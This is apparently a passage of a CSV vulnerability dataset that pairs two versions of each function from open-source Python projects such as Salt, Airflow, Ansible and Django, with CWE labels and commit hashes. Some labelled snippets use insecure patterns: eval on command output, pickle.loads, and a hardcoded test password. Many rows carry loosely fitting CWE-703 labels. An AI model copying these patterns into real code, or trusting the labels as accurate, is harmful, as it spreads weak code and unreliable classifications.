        strings = clixml.findall(""./%sS"" % namespace)
        lines.extend([e.text.replace('_x000D__x000A_', '') for e in strings if e.attrib.get('S') == stream])

    return to_bytes('\r\n'.join(lines))",,ansible/ansible,b936539ae1d6b970a75a3b88e0dd7d11b36cb0e9,"def _parse_clixml(data, stream=""Error""):
    """"""
    Takes a byte string like '#< CLIXML\r\n<Objs...' and extracts the stream
    message encoded in the XML data. CLIXML is used by PowerShell to encode
    multiple objects in stderr.
    """"""
    clixml = ET.fromstring(data.split(b""\r\n"", 1)[-1])
    namespace_match = re.match(r'{(.*)}', clixml.tag)
    namespace = ""{%s}"" % namespace_match.group(1) if namespace_match else """"

    strings = clixml.findall(""./%sS"" % namespace)
    lines = [e.text.replace('_x000D__x000A_', '') for e in strings if e.attrib.get('S') == stream]
    return to_bytes('\r\n'.join(lines))"
,CVE-2021-25282,UNKNOWN,tests/integration/wheel/test_pillar_roots.py,1,"def test_write(self):
        ret = self.wheel.cmd(
            ""pillar_roots.write"", kwarg={""data"": ""foo: bar"", ""path"": ""foo""}
        )
        assert os.path.exists(os.path.join(self.pillar_dir, ""foo""))
        assert ret.find(""Wrote data to file"") != -1",CWE-703,saltstack/salt,da381954425e1e1d5b807ff1156090847c5d16aa,"def test_write(self):
        ret = self.wheel.cmd(
            ""pillar_roots.write"", kwarg={""data"": ""foo: bar"", ""path"": ""foo""}
        )
        assert os.path.exists(os.path.join(self.pillar_dir, ""foo""))
        assert ret.find(""Wrote data to file"") != -1"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/testing/iptestcontroller.py,0,"def __init__(self, section):
        """"""Create new test runner.""""""
        TestController.__init__(self)
        self.section = section

        self.ipydir = TemporaryDirectory()
        # print(self.ipydir.name)
        self.dirs.append(self.ipydir)
        self.env['IPYTHONDIR'] = self.ipydir.name",,jupyter/notebook,003c5e8eda6fc87139f615a2f3f204eca6668e9f,"def __init__(self, section):
        """"""Create new test runner.""""""
        TestController.__init__(self)
        self.section = section

        self.ipydir = TemporaryDirectory()
        self.dirs.append(self.ipydir)
        self.env['IPYTHONDIR'] = self.ipydir.name"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/store/model_registry/test_sqlalchemy_store.py,0,"def test_get_registered_model(self):
        name = ""model_1""
        # use fake clock
        with mock.patch(""time.time"") as mock_time:
            mock_time.return_value = 1234
            rm = self._rm_maker(name)
            self.assertEqual(rm.name, name)
        rmd = self.store.get_registered_model(name=name)
        self.assertEqual(rmd.name, name)
        self.assertEqual(rmd.creation_timestamp, 1234000)
        self.assertEqual(rmd.last_updated_timestamp, 1234000)
        self.assertEqual(rmd.description, None)
        self.assertEqual(rmd.latest_versions, [])",,mlflow/mlflow,8d58fef78e229484efb0fe3e1407245c65ddda0a,"def test_get_registered_model(self):
        name = ""model_1""
        # use fake clock
        with mock.patch(""time.time"") as mock_time:
            mock_time.return_value = 1234
            rm = self._rm_maker(name)
            self.assertEqual(rm.name, name)
        rmd = self.store.get_registered_model(name=name)
        self.assertEqual(rmd.name, name)
        self.assertEqual(rmd.creation_timestamp, 1234000)
        self.assertEqual(rmd.last_updated_timestamp, 1234000)
        self.assertEqual(rmd.description, None)
        self.assertEqual(rmd.latest_versions, [])"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/operators/python.py,0,"def _execute_python_callable_in_subprocess(self, python_path: Path):
        with TemporaryDirectory(prefix=""venv-call"") as tmp:
            tmp_dir = Path(tmp)
            op_kwargs: dict[str, Any] = dict(self.op_kwargs)
            if self.templates_dict:
                op_kwargs[""templates_dict""] = self.templates_dict
            input_path = tmp_dir / ""script.in""
            output_path = tmp_dir / ""script.out""
            string_args_path = tmp_dir / ""string_args.txt""
            script_path = tmp_dir / ""script.py""
            termination_log_path = tmp_dir / ""termination.log""

            self._write_args(input_path)
            self._write_string_args(string_args_path)
            write_python_script(
                jinja_context={
                    ""op_args"": self.op_args,
                    ""op_kwargs"": op_kwargs,
                    ""expect_airflow"": self.expect_airflow,
                    ""pickling_library"": self.pickling_library.__name__,
                    ""python_callable"": self.python_callable.__name__,
                    ""python_callable_source"": self.get_python_source(),
                },
                filename=os.fspath(script_path),
                render_template_as_native_obj=self.dag.render_template_as_native_obj,
            )

            try:
                execute_in_subprocess(
                    cmd=[
                        os.fspath(python_path),
                        os.fspath(script_path),
                        os.fspath(input_path),
                        os.fspath(output_path),
                        os.fspath(string_args_path),
                        os.fspath(termination_log_path),
                    ]
                )
            except subprocess.CalledProcessError as e:
                if e.returncode in self.skip_on_exit_code:
                    raise AirflowSkipException(f""Process exited with code {e.returncode}. Skipping."")
                elif termination_log_path.exists() and termination_log_path.stat().st_size > 0:
                    error_msg = f""Process returned non-zero exit status {e.returncode}.\n""
                    with open(termination_log_path) as file:
                        error_msg += file.read()
                    raise AirflowException(error_msg) from None
                else:
                    raise

            if 0 in self.skip_on_exit_code:
                raise AirflowSkipException(""Process exited with code 0. Skipping."")

            return self._read_result(output_path)",CWE-Unknown,apache/airflow,af4b51cdfc8f98bec9922facd165ea8a6440c12b,"def _execute_python_callable_in_subprocess(self, python_path: Path):
        with TemporaryDirectory(prefix=""venv-call"") as tmp:
            tmp_dir = Path(tmp)
            op_kwargs: dict[str, Any] = dict(self.op_kwargs)
            if self.templates_dict:
                op_kwargs[""templates_dict""] = self.templates_dict
            input_path = tmp_dir / ""script.in""
            output_path = tmp_dir / ""script.out""
            string_args_path = tmp_dir / ""string_args.txt""
            script_path = tmp_dir / ""script.py""
            termination_log_path = tmp_dir / ""termination.log""

            self._write_args(input_path)
            self._write_string_args(string_args_path)
            write_python_script(
                jinja_context={
                    ""op_args"": self.op_args,
                    ""op_kwargs"": op_kwargs,
                    ""expect_airflow"": self.expect_airflow,
                    ""pickling_library"": self.pickling_library.__name__,
                    ""python_callable"": self.python_callable.__name__,
                    ""python_callable_source"": self.get_python_source(),
                },
                filename=os.fspath(script_path),
                render_template_as_native_obj=self.dag.render_template_as_native_obj,
            )

            try:
                execute_in_subprocess(
                    cmd=[
                        os.fspath(python_path),
                        os.fspath(script_path),
                        os.fspath(input_path),
                        os.fspath(output_path),
                        os.fspath(string_args_path),
                        os.fspath(termination_log_path),
                    ]
                )
            except subprocess.CalledProcessError as e:
                if e.returncode in self.skip_on_exit_code:
                    raise AirflowSkipException(f""Process exited with code {e.returncode}. Skipping."")
                elif termination_log_path.exists() and termination_log_path.stat().st_size > 0:
                    error_msg = f""Process returned non-zero exit status {e.returncode}.\n""
                    with open(termination_log_path) as file:
                        error_msg += file.read()
                    raise AirflowException(error_msg) from None
                else:
                    raise

            return self._read_result(output_path)"
,UNKNOWN,UNKNOWN,tests/providers/openlineage/extractors/test_base.py,1,"def test_extraction_without_on_start():
    extractor = ExtractorManager().get_extractor_class(OperatorWithoutStart)
    assert extractor is DefaultExtractor

    metadata = extractor(OperatorWithoutStart(task_id=""test"")).extract()

    task_instance = mock.MagicMock()

    metadata_on_complete = extractor(OperatorWithoutStart(task_id=""test"")).extract_on_complete(
        task_instance=task_instance
    )

    assert metadata == OperatorLineage()

    assert metadata_on_complete == OperatorLineage(
        inputs=INPUTS,
        outputs=OUTPUTS,
        run_facets=RUN_FACETS,
        job_facets=FINISHED_FACETS,
    )",CWE-703,apache/airflow,a7353d200e2800102cf1834a9fce5aa8cde35093,"def test_extraction_without_on_start():
    extractor = ExtractorManager().get_extractor_class(OperatorWithoutStart)
    assert extractor is DefaultExtractor

    metadata = extractor(OperatorWithoutStart(task_id=""test"")).extract()

    task_instance = mock.MagicMock()

    metadata_on_complete = extractor(OperatorWithoutStart(task_id=""test"")).extract_on_complete(
        task_instance=task_instance
    )

    assert metadata is None

    assert metadata_on_complete == OperatorLineage(
        inputs=INPUTS,
        outputs=OUTPUTS,
        run_facets=RUN_FACETS,
        job_facets=FINISHED_FACETS,
    )"
,UNKNOWN,UNKNOWN,tests/core.py,1,"def test_parameterized_config_gen(self):

        cfg = configuration.parameterized_config(configuration.DEFAULT_CONFIG)

        # making sure some basic building blocks are present:
        assert ""[core]"" in cfg
        assert ""dags_folder"" in cfg
        assert ""sql_alchemy_conn"" in cfg
        assert ""fernet_key"" in cfg

        # making sure replacement actually happened
        assert ""{AIRFLOW_HOME}"" not in cfg
        assert ""{FERNET_KEY}"" not in cfg",CWE-703,apache/airflow,f17b03670f6365b78f5e372560f10cffe7d2236c,"def test_parameterized_config_gen(self):

        cfg = configuration.parameterized_config(configuration.DEFAULT_CONFIG)

        # making sure some basic building blocks are present:
        assert ""[core]"" in cfg
        assert ""dags_folder"" in cfg
        assert ""sql_alchemy_conn"" in cfg
        assert ""fernet_key"" in cfg

        # making sure replacement actually happened
        assert ""{AIRFLOW_HOME}"" not in cfg
        assert ""{FERNET_KEY}"" not in cfg"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/cloud/clouds/linode.py,0,"def get_location(conn, vm_):
        '''
        Return the node location to use.
        Linode wants a location id, which is an integer, when creating a new VM
        To be flexible, let the user specify any of location id, abbreviation, or
        full name of the location (""Fremont, CA, USA"") in the config file)
        '''

        locations = avail_locations(conn)
        # Default to Dallas if not otherwise set
        loc = config.get_cloud_config_value(
            'location', vm_, __opts__, default=2
        )

        # Was this an id that matches something in locations?
        if str(loc) not in [locations[k]['id'] for k in locations]:
            # No, let's try to match it against the full
            # name and the abbreviation and return the id
            for key in locations:
                if str(loc).lower() in (str(key).lower(),
                                        str(locations[key]['id']).lower(),
                                        str(locations[key]['abbreviation']).lower()):
                    return locations[key]['id']
        else:
            return loc

        # No match. Return default Linode data center location, which is Dallas
        # Dallas is represented by '2' in the Linode API.
        return 2",,saltstack/salt,4f13e489125fd6c3db404507342461b664015b05,"def get_location(conn, vm_):
        '''
        Return the node location to use.
        Linode wants a location id, which is an integer, when creating a new VM
        To be flexible, let the user specify any of location id, abbreviation, or
        full name of the location (""Fremont, CA, USA"") in the config file)
        '''

        locations = avail_locations(conn)
        # Default to Dallas if not otherwise set
        loc = config.get_cloud_config_value(
            'location', vm_, __opts__, default=2
        )

        # Was this an id that matches something in locations?
        if str(loc) not in [locations[k]['id'] for k in locations]:
            # No, let's try to match it against the full
            # name and the abbreviation and return the id
            for key in locations:
                if str(loc).lower() in (key,
                                        str(locations[key]['id']).lower(),
                                        str(locations[key]['abbreviation']).
                                          lower()):
                    return locations[key]['id']
        else:
            return loc

        # No match.  Return None, cloud provider will
        # use a default or throw an exception
        return None"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/plugins/injection_sql.py,0,"def _evaluate_ast(node):
    wrapper = None
    statement = """"

    if isinstance(node._bandit_parent, ast.BinOp):
        out = utils.concat_string(node, node._bandit_parent)
        wrapper = out[0]._bandit_parent
        statement = out[1]
    elif (
        isinstance(node._bandit_parent, ast.Attribute)
        and node._bandit_parent.attr == ""format""
    ):
        statement = node.s
        # Hierarchy for """".format() is Wrapper -> Call -> Attribute -> Str
        wrapper = node._bandit_parent._bandit_parent._bandit_parent
    elif hasattr(ast, ""JoinedStr"") and isinstance(
        node._bandit_parent, ast.JoinedStr
    ):
        substrings = [
            child
            for child in node._bandit_parent.values
            if isinstance(child, ast.Str)
        ]
        # JoinedStr consists of list of Constant and FormattedValue
        # instances. Let's perform one test for the whole string
        # and abandon all parts except the first one to raise one
        # failed test instead of many for the same SQL statement.
        if substrings and node == substrings[0]:
            statement = """".join([str(child.s) for child in substrings])
            wrapper = node._bandit_parent._bandit_parent

    if isinstance(wrapper, ast.Call):  # wrapped in ""execute"" call?
        names = [""execute"", ""executemany""]
        name = utils.get_called_name(wrapper)
        return (name in names, statement)
    else:
        return (False, statement)",UNKNOWN,PyCQA/bandit,7e6f580d6ad1b35be91046e591526602327a388d,"def _evaluate_ast(node):
    wrapper = None
    statement = """"

    if isinstance(node._bandit_parent, ast.BinOp):
        out = utils.concat_string(node, node._bandit_parent)
        wrapper = out[0]._bandit_parent
        statement = out[1]
    elif (
        isinstance(node._bandit_parent, ast.Attribute)
        and node._bandit_parent.attr == ""format""
    ):
        statement = node.s
        # Hierarchy for """".format() is Wrapper -> Call -> Attribute -> Str
        wrapper = node._bandit_parent._bandit_parent._bandit_parent
    elif hasattr(ast, ""JoinedStr"") and isinstance(
        node._bandit_parent, ast.JoinedStr
    ):
        statement = node.s
        wrapper = node._bandit_parent._bandit_parent

    if isinstance(wrapper, ast.Call):  # wrapped in ""execute"" call?
        names = [""execute"", ""executemany""]
        name = utils.get_called_name(wrapper)
        return (name in names, statement)
    else:
        return (False, statement)"
,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/amazon/data_pipeline.py,1,"def check_dp_status(client, dp_id, status):
    """"""Checks if datapipeline matches states in status list

    :param object client: boto3 datapipeline client
    :param string dp_id: pipeline id
    :param list status: list of states to check against
    :returns: True or False

    """"""
    if not isinstance(status, list):
        raise AssertionError()
    if pipeline_field(client, dp_id, field=""@pipelineState"") in status:
        return True
    else:
        return False",CWE-703,ansible/ansible,99d4f5bab4d334c0457a0cc6635f3104ca672834,"def check_dp_status(client, dp_id, status):
    """"""Checks if datapipeline matches states in status list

    :param object client: boto3 datapipeline client
    :param string dp_id: pipeline id
    :param list status: list of states to check against
    :returns: True or False

    """"""
    assert isinstance(status, list)
    if pipeline_field(client, dp_id, field=""@pipelineState"") in status:
        return True
    else:
        return False"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/template_test.py,0,"def test_if(self):
        template = Template(utf8(""{% if x > 4 %}yes{% else %}no{% end %}""))
        self.assertEqual(template.generate(x=5), b(""yes""))
        self.assertEqual(template.generate(x=3), b(""no""))",CWE-Unknown,tornadoweb/tornado,54d91d5e1312eb2e3d0c9ae0b7f5c8333a4ac50e,"def test_if(self):
        template = Template(utf8(""{% if x > 4 %}yes{% else %}no{% end %}""))
        self.assertEqual(template.generate(x=5), b(""yes""))
        self.assertEqual(template.generate(x=3), b(""no""))"
,UNKNOWN,UNKNOWN,tests/sensors/test_python.py,1,"def test_python_callable_keyword_arguments_are_templatized(self):
        """"""Test PythonSensor op_kwargs are templatized""""""
        recorded_calls = []

        task = PythonSensor(
            task_id='python_sensor',
            timeout=0.01,
            poke_interval=0.01,
            # a Mock instance cannot be used as a callable function or test fails with a
            # TypeError: Object of type Mock is not JSON serializable
            python_callable=build_recording_function(recorded_calls),
            op_kwargs={
                'an_int': 4,
                'a_date': date(2019, 1, 1),
                'a_templated_string': ""dag {{dag.dag_id}} ran on {{ds}}."",
            },
            dag=self.dag,
        )

        self.dag.create_dagrun(
            run_type=DagRunType.MANUAL,
            execution_date=DEFAULT_DATE,
            data_interval=(DEFAULT_DATE, DEFAULT_DATE),
            start_date=DEFAULT_DATE,
            state=State.RUNNING,
        )
        with pytest.raises(AirflowSensorTimeout):
            task.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)

        # 2 calls: first: at start, second: before timeout
        # But sometimes 1 is also OK if the system is ""busy"" - we anyhow only check the first one which
        # will always be there
        assert len(recorded_calls) >= 1
        self._assert_calls_equal(
            recorded_calls[0],
            Call(
                an_int=4,
                a_date=date(2019, 1, 1),
                a_templated_string=f""dag {self.dag.dag_id} ran on {DEFAULT_DATE.date().isoformat()}."",
            ),
        )",CWE-703,apache/airflow,e877e7a1106f6d98d85cd80d8947863327759010,"def test_python_callable_keyword_arguments_are_templatized(self):
        """"""Test PythonSensor op_kwargs are templatized""""""
        recorded_calls = []

        task = PythonSensor(
            task_id='python_sensor',
            timeout=0.01,
            poke_interval=0.3,
            # a Mock instance cannot be used as a callable function or test fails with a
            # TypeError: Object of type Mock is not JSON serializable
            python_callable=build_recording_function(recorded_calls),
            op_kwargs={
                'an_int': 4,
                'a_date': date(2019, 1, 1),
                'a_templated_string': ""dag {{dag.dag_id}} ran on {{ds}}."",
            },
            dag=self.dag,
        )

        self.dag.create_dagrun(
            run_type=DagRunType.MANUAL,
            execution_date=DEFAULT_DATE,
            data_interval=(DEFAULT_DATE, DEFAULT_DATE),
            start_date=DEFAULT_DATE,
            state=State.RUNNING,
        )
        with pytest.raises(AirflowSensorTimeout):
            task.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)

        # 2 calls: first: at start, second: before timeout
        assert 2 == len(recorded_calls)
        self._assert_calls_equal(
            recorded_calls[0],
            Call(
                an_int=4,
                a_date=date(2019, 1, 1),
                a_templated_string=f""dag {self.dag.dag_id} ran on {DEFAULT_DATE.date().isoformat()}."",
            ),
        )"
,UNKNOWN,UNKNOWN,tests/integration/states/test_file.py,1,"def test_managed_source_hash_indifferent_case(self):
        '''
        Test passing a source_hash as an uppercase hash.

        This is a regression test for Issue #38914 and Issue #48230 (test=true use).
        '''
        name = os.path.join(TMP, 'source_hash_indifferent_case')
        state_name = 'file_|-{0}_|' \
                     '-{0}_|-managed'.format(name)
        local_path = os.path.join(FILES, 'file', 'base', 'hello_world.txt')
        actual_hash = 'c98c24b677eff44860afea6f493bbaec5bb1c4cbb209c6fc2bbb47f66ff2ad31'
        if salt.utils.is_windows():
            # CRLF vs LF causes a differnt hash on windows
            actual_hash = '92b772380a3f8e27a93e57e6deeca6c01da07f5aadce78bb2fbb20de10a66925'
        uppercase_hash = actual_hash.upper()

        try:
            # Lay down tmp file to test against
            self.run_state(
                'file.managed',
                name=name,
                source=local_path,
                source_hash=actual_hash
            )

            # Test uppercase source_hash: should return True with no changes
            ret = self.run_state(
                'file.managed',
                name=name,
                source=local_path,
                source_hash=uppercase_hash
            )
            assert ret[state_name]['result'] is True
            assert ret[state_name]['pchanges'] == {}
            assert ret[state_name]['changes'] == {}

            # Test uppercase source_hash using test=true
            # Should return True with no changes
            ret = self.run_state(
                'file.managed',
                name=name,
                source=local_path,
                source_hash=uppercase_hash,
                test=True
            )
            assert ret[state_name]['result'] is True
            assert ret[state_name]['pchanges'] == {}
            assert ret[state_name]['changes'] == {}

        finally:
            # Clean Up File
            if os.path.exists(name):
                os.remove(name)",CWE-703,saltstack/salt,0157eacffc1a0ffa6c4d219a5d92576661598c2e,"def test_managed_source_hash_indifferent_case(self):
        '''
        Test passing a source_hash as an uppercase hash.

        This is a regression test for Issue #38914 and Issue #48230 (test=true use).
        '''
        name = os.path.join(TMP, 'source_hash_indifferent_case')
        state_name = 'file_|-{0}_|' \
                     '-{0}_|-managed'.format(name)
        local_path = os.path.join(FILES, 'file', 'base', 'hello_world.txt')
        actual_hash = 'c98c24b677eff44860afea6f493bbaec5bb1c4cbb209c6fc2bbb47f66ff2ad31'
        if salt.utils.is_windows():
            # CRLF vs LF causes a differnt hash on windows
            actual_hash = '92b772380a3f8e27a93e57e6deeca6c01da07f5aadce78bb2fbb20de10a66925'
        uppercase_hash = actual_hash.upper()

        try:
            # Lay down tmp file to test against
            self.run_state(
                'file.managed',
                name=name,
                source=local_path,
                source_hash=actual_hash
            )

            # Test uppercase source_hash: should return True with no changes
            ret = self.run_state(
                'file.managed',
                name=name,
                source=local_path,
                source_hash=uppercase_hash
            )
            assert ret[state_name]['result'] is True
            assert ret[state_name]['pchanges'] == {}
            assert ret[state_name]['changes'] == {}

            # Test uppercase source_hash using test=true
            # Should return True with no changes
            ret = self.run_state(
                'file.managed',
                name=name,
                source=local_path,
                source_hash=uppercase_hash,
                test=True
            )
            assert ret[state_name]['result'] is True
            assert ret[state_name]['pchanges'] == {}
            assert ret[state_name]['changes'] == {}

        finally:
            # Clean Up File
            if os.path.exists(name):
                os.remove(name)"
,UNKNOWN,UNKNOWN,tests/integration/shell/test_cp.py,1,"def test_cp_testfile(self):
        '''
        test salt-cp
        '''
        minions = []
        for line in self.run_salt('--out yaml ""*"" test.ping'):
            if not line:
                continue
            data = salt.utils.yaml.safe_load(line)
            minions.extend(data.keys())

        self.assertNotEqual(minions, [])

        testfile = os.path.abspath(
            os.path.join(
                os.path.dirname(os.path.dirname(__file__)),
                'files', 'file', 'base', 'testfile'
            )
        )
        with salt.utils.files.fopen(testfile, 'r') as fh_:
            testfile_contents = fh_.read()

        def quote(arg):
            if salt.utils.platform.is_windows():
                return arg
            return pipes.quote(arg)

        for idx, minion in enumerate(minions):
            if 'localhost' in minion:
                continue
            ret = self.run_salt(
                '--out yaml {0} file.directory_exists {1}'.format(
                    quote(minion), TMP
                )
            )
            data = salt.utils.yaml.safe_load('\n'.join(ret))
            if data[minion] is False:
                ret = self.run_salt(
                    '--out yaml {0} file.makedirs {1}'.format(
                        quote(minion),
                        TMP
                    )
                )

                data = salt.utils.yaml.safe_load('\n'.join(ret))
                self.assertTrue(data[minion])

            minion_testfile = os.path.join(
                TMP, 'cp_{0}_testfile'.format(idx)
            )

            ret = self.run_cp('--out pprint {0} {1} {2}'.format(
                quote(minion),
                quote(testfile),
                quote(minion_testfile),
            ))

            data = eval('\n'.join(ret), {}, {})  # pylint: disable=eval-used
            for part in six.itervalues(data):
                key = minion_testfile
                self.assertTrue(part[key])

            ret = self.run_salt(
                '--out yaml {0} file.file_exists {1}'.format(
                    quote(minion),
                    quote(minion_testfile)
                )
            )
            data = salt.utils.yaml.safe_load('\n'.join(ret))
            self.assertTrue(data[minion])

            ret = self.run_salt(
                '--out yaml {0} file.contains {1} {2}'.format(
                    quote(minion),
                    quote(minion_testfile),
                    quote(testfile_contents)
                )
            )
            data = salt.utils.yaml.safe_load('\n'.join(ret))
            self.assertTrue(data[minion])
            ret = self.run_salt(
                '--out yaml {0} file.remove {1}'.format(
                    quote(minion),
                    quote(minion_testfile)
                )
            )
            data = salt.utils.yaml.safe_load('\n'.join(ret))
            self.assertTrue(data[minion])",CWE-94,saltstack/salt,01708258baccd6346108338c890a5db11515ea79,"def test_cp_testfile(self):
        '''
        test salt-cp
        '''
        minions = []
        for line in self.run_salt('--out yaml ""*"" test.ping'):
            if not line:
                continue
            data = salt.utils.yaml.safe_load(line)
            minions.extend(data.keys())

        self.assertNotEqual(minions, [])

        testfile = os.path.abspath(
            os.path.join(
                os.path.dirname(os.path.dirname(__file__)),
                'files', 'file', 'base', 'testfile'
            )
        )
        with salt.utils.files.fopen(testfile, 'r') as fh_:
            testfile_contents = fh_.read()

        def quote(arg):
            if salt.utils.platform.is_windows():
                return arg
            return pipes.quote(arg)

        for idx, minion in enumerate(minions):
            if 'localhost' in minion:
                continue
            ret = self.run_salt(
                '--out yaml {0} file.directory_exists {1}'.format(
                    quote(minion), TMP
                )
            )
            data = salt.utils.yaml.safe_load('\n'.join(ret))
            if data[minion] is False:
                ret = self.run_salt(
                    '--out yaml {0} file.makedirs {1}'.format(
                        quote(minion),
                        TMP
                    )
                )

                data = salt.utils.yaml.safe_load('\n'.join(ret))
                self.assertTrue(data[minion])

            minion_testfile = os.path.join(
                TMP, 'cp_{0}_testfile'.format(idx)
            )

            ret = self.run_cp('--out pprint {0} {1} {2}'.format(
                quote(minion),
                quote(testfile),
                quote(minion_testfile),
            ))

            data = eval('\n'.join(ret), {}, {})  # pylint: disable=eval-used
            for part in six.itervalues(data):
                if salt.utils.platform.is_windows():
                    key = minion_testfile.replace('\\', '\\\\')
                else:
                    key = minion_testfile
                self.assertTrue(part[key])

            ret = self.run_salt(
                '--out yaml {0} file.file_exists {1}'.format(
                    quote(minion),
                    quote(minion_testfile)
                )
            )
            data = salt.utils.yaml.safe_load('\n'.join(ret))
            self.assertTrue(data[minion])

            ret = self.run_salt(
                '--out yaml {0} file.contains {1} {2}'.format(
                    quote(minion),
                    quote(minion_testfile),
                    quote(testfile_contents)
                )
            )
            data = salt.utils.yaml.safe_load('\n'.join(ret))
            self.assertTrue(data[minion])
            ret = self.run_salt(
                '--out yaml {0} file.remove {1}'.format(
                    quote(minion),
                    quote(minion_testfile)
                )
            )
            data = salt.utils.yaml.safe_load('\n'.join(ret))
            self.assertTrue(data[minion])"
,UNKNOWN,UNKNOWN,django/contrib/auth/views.py,1,"def password_reset_confirm(request, uidb36=None, token=None,
                           template_name='registration/password_reset_confirm.html',
                           token_generator=default_token_generator,
                           set_password_form=SetPasswordForm,
                           post_reset_redirect=None,
                           current_app=None, extra_context=None):
    """"""
    View that checks the hash in a password reset link and presents a
    form for entering a new password.
    """"""
    assert uidb36 is not None and token is not None # checked by URLconf
    if post_reset_redirect is None:
        post_reset_redirect = reverse('django.contrib.auth.views.password_reset_complete')
    try:
        uid_int = base36_to_int(uidb36)
        user = User.objects.get(id=uid_int)
    except (ValueError, OverflowError, User.DoesNotExist):
        user = None

    if user is not None and token_generator.check_token(user, token):
        validlink = True
        if request.method == 'POST':
            form = set_password_form(user, request.POST)
            if form.is_valid():
                form.save()
                return HttpResponseRedirect(post_reset_redirect)
        else:
            form = set_password_form(None)
    else:
        validlink = False
        form = None
    context = {
        'form': form,
        'validlink': validlink,
    }
    if extra_context is not None:
        context.update(extra_context)
    return TemplateResponse(request, template_name, context,
                            current_app=current_app)",CWE-703,django/django,34ac1457962165afbe8203742fdc5308e2979db6,"def password_reset_confirm(request, uidb36=None, token=None,
                           template_name='registration/password_reset_confirm.html',
                           token_generator=default_token_generator,
                           set_password_form=SetPasswordForm,
                           post_reset_redirect=None,
                           current_app=None, extra_context=None):
    """"""
    View that checks the hash in a password reset link and presents a
    form for entering a new password.
    """"""
    assert uidb36 is not None and token is not None # checked by URLconf
    if post_reset_redirect is None:
        post_reset_redirect = reverse('django.contrib.auth.views.password_reset_complete')
    try:
        uid_int = base36_to_int(uidb36)
        user = User.objects.get(id=uid_int)
    except (ValueError, User.DoesNotExist):
        user = None

    if user is not None and token_generator.check_token(user, token):
        validlink = True
        if request.method == 'POST':
            form = set_password_form(user, request.POST)
            if form.is_valid():
                form.save()
                return HttpResponseRedirect(post_reset_redirect)
        else:
            form = set_password_form(None)
    else:
        validlink = False
        form = None
    context = {
        'form': form,
        'validlink': validlink,
    }
    if extra_context is not None:
        context.update(extra_context)
    return TemplateResponse(request, template_name, context,
                            current_app=current_app)"
,UNKNOWN,UNKNOWN,tests/queryset_pickle/tests.py,1,"def test_model_pickle_dynamic(self):
        class Meta:
            proxy = True
        dynclass = type(""DynamicEventSubclass"", (Event, ),
                        {'Meta': Meta, '__module__': Event.__module__})
        original = dynclass(pk=1)
        dumped = pickle.dumps(original)
        reloaded = pickle.loads(dumped)
        self.assertEqual(original, reloaded)
        self.assertIs(reloaded.__class__, dynclass)",CWE-502,django/django,4c4954a3c133e824390296f6bb444622a8b25331,"def test_model_pickle_dynamic(self):
        class Meta:
            proxy = True
        dynclass = type(""DynamicEventSubclass"", (Event, ),
                        {'Meta': Meta, '__module__': Event.__module__})
        original = dynclass(pk=1)
        dumped = pickle.dumps(original)
        reloaded = pickle.loads(dumped)
        self.assertEqual(original, reloaded)
        self.assertIs(reloaded.__class__, dynclass)"
,UNKNOWN,UNKNOWN,test/units/modules/network/f5/test_bigip_monitor_https.py,1,"def test_update_interval_larger_than_existing_timeout(self, *args):
        set_module_args(dict(
            name='asdf',
            interval=30,
            partition='Common',
            provider=dict(
                server='localhost',
                password='password',
                user='admin'
            )
        ))

        current = Parameters(params=load_fixture('load_ltm_monitor_https.json'))
        module = AnsibleModule(
            argument_spec=self.spec.argument_spec,
            supports_check_mode=self.spec.supports_check_mode
        )

        # Override methods in the specific type of manager
        mm = ModuleManager(module=module)
        mm.exists = Mock(return_value=True)
        mm.read_current_from_device = Mock(return_value=current)
        mm.update_on_device = Mock(return_value=True)

        with pytest.raises(F5ModuleError) as ex:
            mm.exec_module()

        assert ""must be less than"" in str(ex.value)","CWE-259, CWE-703",ansible/ansible,0bc12859871c86673b321a09141dccc2e40de5f9,"def test_update_interval_larger_than_existing_timeout(self, *args):
        set_module_args(dict(
            name='asdf',
            interval=30,
            partition='Common',
            provider=dict(
                server='localhost',
                password='password',
                user='admin'
            )
        ))

        current = Parameters(params=load_fixture('load_ltm_monitor_https.json'))
        module = AnsibleModule(
            argument_spec=self.spec.argument_spec,
            supports_check_mode=self.spec.supports_check_mode
        )

        # Override methods in the specific type of manager
        mm = ModuleManager(module=module)
        mm.exists = Mock(return_value=True)
        mm.read_current_from_device = Mock(return_value=current)
        mm.update_on_device = Mock(return_value=True)

        with pytest.raises(F5ModuleError) as ex:
            mm.exec_module()

        assert ""must be less than"" in str(ex)"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/core/test_util.py,0,"def test_get_module_qualname_from_path_abs_typical(self):
        '''Test get_module_qualname_from_path with typical absolute paths.'''

        name = b_utils.get_module_qualname_from_path(os.path.join(
            self.tempdir, 'good', 'a', 'b', 'c', 'test_typical.py'))
        self.assertEqual('good.a.b.c.test_typical', name)",UNKNOWN,PyCQA/bandit,c479db7b8baa4784fe99870d526079ff1180a6aa,"def test_get_module_qualname_from_path_abs_typical(self):
        '''Test get_module_qualname_from_path with typical absolute paths.'''

        name = b_utils.get_module_qualname_from_path(os.path.join(
            self.tempdir, 'good', 'a', 'b', 'c', 'test_typical.py'))
        self.assertEqual('good.a.b.c.test_typical', name)"
,UNKNOWN,UNKNOWN,airflow-core/tests/unit/api_fastapi/core_api/routes/public/test_task_instances.py,1,"def test_should_respond_200_task_instance_with_rendered(self, test_client, session):
        tis = self.create_task_instances(session)
        session.query()
        rendered_fields = RTIF(tis[0], render_templates=False)
        session.add(rendered_fields)
        session.commit()
        response = test_client.get(
            ""/dags/example_python_operator/dagRuns/TEST_DAG_RUN_ID/taskInstances/print_the_context""
        )
        assert response.status_code == 200

        assert response.json() == {
            ""dag_id"": ""example_python_operator"",
            ""dag_version"": None,
            ""duration"": 10000.0,
            ""end_date"": ""2020-01-03T00:00:00Z"",
            ""logical_date"": ""2020-01-01T00:00:00Z"",
            ""executor"": None,
            ""executor_config"": ""{}"",
            ""hostname"": """",
            ""id"": mock.ANY,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""note"": ""placeholder-note"",
